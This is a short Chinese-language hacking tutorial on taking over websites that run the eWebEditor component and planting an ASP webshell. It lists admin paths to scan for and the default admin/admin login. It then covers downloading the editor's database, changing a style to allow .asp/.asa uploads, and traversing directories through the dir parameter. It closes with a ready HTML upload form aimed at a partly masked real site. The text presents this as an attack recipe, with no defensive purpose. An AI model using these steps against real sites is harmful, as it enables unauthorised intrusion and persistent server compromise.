老生常谈ewebeditor默认后台提取webshell

一般很多后台管理或者文章排版都会用到ewebeditor，
1.猜解路径：
从编辑器中查看源码，
如：ewebeditor.asp?id=content1&style=standard_coolblue这样的html代码。
或者通过扫描器扫：
Editor/admin/asp/upload.asp
Editor/admin_login.asp
ewebeditor/admin_login.asp
admin/Editor/admin_login.asp
admin/ewebeditor/admin_login.asp
看版本：
ewebeditor/dialog/about.htm
2.下载mdb
相对目录db下面有ewebeditor.mdb
3.破解管理员密码
默认是admin，admin
4.添加样式
通过拷贝一个样式，然后修改后缀添加asp|asa等，或者修改上传路径目录含有,.asp
5.在ie中构造地址
如：Editor/ewebeditor.asp?id=content1&style=standard_my
Editor/ewebeditor/ewebeditor.htm?id=body&style=popup
或者编辑样式的时候，选择预览都可以出来上传的。
6.翻路径
/ewebeditor/admin//upload.asp?id=16&d_viewmode=&dir=..
这儿dir的..可以随意构造
7.上传web木&马
记得切换到“设计”标签，否则会报“需要换为编辑状态才能使用编辑功能”。
上传asp或者asa
8.手动构在表单的html代码直接传给upload.asp
<form action="http://www.**x.cn/ewebeditor/upload.asp?action=save&type=IMAGE&style=standard1" method=post name=myform enctype="multipart/form-data">
<input type=file name=uploadfile size=1 style="width:100%">
<input type=hidden name=originalfile value="">
<input type=submit value="upload">
</form>